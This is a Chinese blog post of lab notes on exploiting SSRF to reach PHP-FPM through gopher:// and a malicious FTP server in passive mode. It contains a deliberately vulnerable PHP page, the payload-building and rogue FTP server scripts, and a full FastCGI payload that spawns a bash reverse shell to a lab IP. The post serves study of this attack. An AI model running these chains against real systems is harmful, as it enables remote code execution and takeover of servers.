FastCGI_SSRF0

参考资料

https://xz.aliyun.com/t/9544#toc-19

https://www.anquanke.com/post/id/233454

https://blog.csdn.net/unexpectedthing/article/details/121643002

利用gopher协议

书接上文(“FastCGI与Web中间件”)

靶机配置

(1)配置修改。

在之前的未授权访问攻击中,我们把/etc/php/7.2/fpm/pool.d/www.conf

中的listen改掉了,现在要改回成127.0.0.1:9000

(2)重启PHP-fpm。

ps -elf | grep php-fpmkill -9 进程号搞掉master进程,再用之前的命令启动。

(不太清楚nginx是否需要重启;反正我也重启了一下)

这时候,继续执行之前的操作,应该已经显示无法连接了。

注意:光重启nginx肯定是不行的。在之前的实验中,我们让PHP-fpm直接暴露在公网上,fpm.py直接与其通信,压根就没有通过nginx。但这次必须开启nginx,因为SSRF显然要使用本地Web服务器。

(3)index.php写裸SSRF

<?php
error_reporting(E_ALL || ~E_NOTICE);
	$url=$_GET['url'];
	$ch=curl_init();
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_HEADER,FALSE);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION,true);
	$res=curl_exec($ch);
	curl_close($ch);
	echo $res;
?>

攻击操作

(1)fpm.py payload写入

nc -lvvp 9000 > exp.txt
python fpm.py 127.0.0.1 /var/www/html/index.php -c "<?php phpinfo();?>" 

报timeout是正常现象。

(2)构造gopher协议+二次编码,生成用于SSRF的payload

import urllib.parse
with open('exp.txt','rb') as f:
	pld=f.read()
a="gopher://127.0.0.1:9000/_"+urllib.parse.quote(pld)
print(urllib.parse.quote(a))

(3)效果

注:尝试eval($_POST['whoami'])类似语句时出现了一些问题,zsh有时候报bad math expression:operand expected错误。

注2:将恶意语句改为"<?php system('bash -i >& /dev/tcp/192.168.208.134/9090 0>&1')?>",系列操作不变,经测试可以实现传入url参数后反弹shell。

关于gopher协议

使用方法:gopher://ip:port/_payload

gopher协议是一个分布式的文档传递服务,在SSRF漏洞攻击中发挥的作用非常大。使用Gopher协议时,通过控制访问的URL可实现向指定的服务器发送任意内容,如HTTP请求,MySQL请求等,所以其攻击面非常广。

**利用FTP协议

(1)两次连接的情况

攻击以下代码:

<?php
$contents = file_get_contents($_GET['viewFile']);
/* */
file_put_contents($_GET['viewFile'], $contents);
?>

原理解释

这段代码是没啥现实意义的。仅用于适配此漏洞。

不考虑协议,它的功能是将viewFile对应的文件内容读出来,之后 进行一些处理/原样 写回去。总的来说没啥作用。

之前gopher协议不能使用的原因是,file_get_contentsfile_put_contents不支持该协议。

考虑ftp协议;若viewFile连接一个正常的ftp服务,它就会从ftp下载文件然后存到一个变量里,再把这个变量里的文件上传回ftp

考虑自建恶意ftp服务器完成SSRF。

​ 在使用ftp协议时,我们所要攻击的代码成为客户端;此处的客户端默认采用PASV(被动)模式,即服务器确定两者数据传送进程所用的端口(端口号两者统一;控制进程端口号固定21不可更改)。第一次连接(对应file_get_contents)是下载指令 RETR,我们可以随意指定一个端口,但IP地址必须是服务端IP(比如192.168.208.134:1234),它的意思是我们会通过这个套接字与客户端建立数据传送进程连接。

第二次连接(对应file_put_contents)是上传指令STOR,我们此时将套接字替换为127.0.0.1:9000,这样客户端以为它把文件发给了我们,但实际上它把文件发给了它自己的PHP-fpm。这样,就能够达成RCE。

略去许多技术细节(ftp状态码)之后的关键流程大概是这样的:

操作&效果

攻击PHP-fpm的恶意文件是用Gopherus生成的;fpm.py生成的在测试中不太行。

https://github.com/tarunkant/Gopherus

使用了网上的恶意ftp服务端脚本:

import socket
from urllib.parse import unquote

# 对gopherus生成的payload进行一次urldecode
payload = unquote("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH107%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00k%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.208.134/9090%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00")
payload = payload.encode('utf-8')

host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)

# ftp被动模式的passvie port,监听到1234
sk2 = socket.socket()
sk2.bind((host, 1234))
sk2.listen(5)

# 计数器,用于区分是第几次ftp连接
count = 1
while 1:
    conn, address = sk.accept()
    conn.send(b"200 \n")
    print(conn.recv(20))  # USER aaa\r\n  客户端传来用户名
    if count == 1:
        conn.send(b"220 ready\n")
    else:
        conn.send(b"200 ready\n")

    print(conn.recv(20))   # TYPE I\r\n  客户端告诉服务端以什么格式传输数据,TYPE I表示二进制, TYPE A表示文本
    if count == 1:
        conn.send(b"215 \n")
    else:
        conn.send(b"200 \n")

    print(conn.recv(20))  # SIZE /123\r\n  客户端询问文件/123的大小
    if count == 1:
        conn.send(b"213 3 \n")  
    else:
        conn.send(b"300 \n")

    print(conn.recv(20))  # EPSV\r\n'
    conn.send(b"200 \n")

    print(conn.recv(20))   # PASV\r\n  客户端告诉服务端进入被动连接模式
    if count == 1:
        conn.send(b"227 192,168,208,134,4,210\n")  # 服务端告诉客户端需要到哪个ip:port去获取数据,ip,port都是用逗号隔开,其中端口的计算规则为:4*256+210=1234
    else:
        conn.send(b"227 127,0,0,1,35,40\n")  # 端口计算规则:35*256+40=9000

    print(conn.recv(20))  # 第一次连接会收到命令RETR /123\r\n,第二次连接会收到STOR /123\r\n
    if count == 1:
        #conn.send(b"125 \n") # 告诉客户端可以开始数据连接了
        conn.send(b"150 \n") 
        # 新建一个socket给服务端返回我们的payload
        print("建立连接!")
        conn2, address2 = sk2.accept()
        print("alive")
        conn2.send(payload)
        conn2.close()
        print("断开连接!")
    else:
        conn.send(b"150 \n")
        print(conn.recv(20))
        exit()

    # 第一次连接是下载文件,需要告诉客户端下载已经结束
    if count == 1:
        conn.send(b"226 \n")
    conn.close()
    count += 1

部署好用于反弹shell的监听和恶意ftp服务器后,浏览器执行

http://192.168.208.188/index.php?viewFile=ftp://192.168.208.134:23/

效果图:

(2)一次连接情况

攻击:

file_put_contents($_GET['file'],$_GET['data']);

原理是一样的,而且还简单了一些。

与之前相比,省去了传恶意文件;直接放data里就行了。

恶意文件生成与之前完全相同。

恶意服务器脚本换了一下,还是网上的。

import socket

host = '0.0.0.0'
port = 5555
sock = socket.socket()
sock.bind((host, port))
sock.listen(5)

conn, address = sock.accept()
conn.send("220 \n")
print conn.recv(20)

conn.send("331 \n")
print conn.recv(20)

conn.send("230 \n")
print conn.recv(20)

conn.send("200 \n")
print conn.recv(20)

conn.send("550 \n")
print conn.recv(20)

# skip EPSV
conn.send("200 \n")
print conn.recv(20)

# 35 * 256 + 40 = 9000
conn.send("227 127,0,0,1,35,40\n")
print conn.recv(20)

conn.send("150 \n")
print conn.recv(20)

payload:

http://192.168.208.188/index.php?file=ftp://192.168.208.134:5555/&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH107%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00k%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.208.134/9090%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

执行效果:

反弹shell部分与之前完全相同。

posted @ 2022-08-28 23:07  hiddener  阅读(261)  评论(0编辑  收藏  举报